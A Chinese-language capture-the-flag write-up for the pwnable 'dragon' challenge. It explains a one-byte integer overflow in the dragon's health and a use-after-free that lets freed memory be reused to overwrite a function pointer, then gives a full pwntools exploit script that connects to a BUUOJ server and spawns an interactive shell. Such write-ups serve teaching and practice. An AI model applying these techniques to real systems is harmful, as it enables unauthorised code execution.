pwnable_dragon(整数溢出+UAF)

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pwnable_dragon(整数溢出+UAF)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,游戏结束后释放掉了ptr

也就是释放掉了v5,而当我们打赢游戏的时候,又malloc(0x10)并输入,然后又调用了v5里面的函数指针,由于v5之前free掉了,所以这里malloc(0x10)并输入,控制的就是v5指向的那块内存,将里面指针指向后面函数即可。

现在是如何才能赢得游戏,观察龙的血量,是一个byte

而赢得游戏的条件是龙的血量小于等于0

Byte的话超过127,就小于等于0了,因此,我们让龙的血量不断增加,最终溢出即可赢得游戏。第一次,我们故意输掉游戏,然后来到第二次,龙的血量初始化为80,也就是0x50,这样我们只需让龙的血量增加0x30即可轻松赢得游戏。

#coding:utf8
from pwn import *

#sh = process('./pwnable_dragon')
sh = remote('node3.buuoj.cn',29862)
def win():
   #第一次输掉
   sh.sendlineafter('[ 2 ] Knight','1')
   for i in range(2):
      sh.sendline('3')
      sh.sendline('3')
      sh.sendline('2')
   #第二次,dragon的血为80,我们让其增加溢出127后即可赢
   sh.sendlineafter('[ 2 ] Knight','1')
   for i in range(4):
      sh.sendline('3')
      sh.sendline('3')
      sh.sendline('2')


win()
sh.sendlineafter('The World Will Remember You As:',p32(0x08048DBF))

sh.interactive()

 

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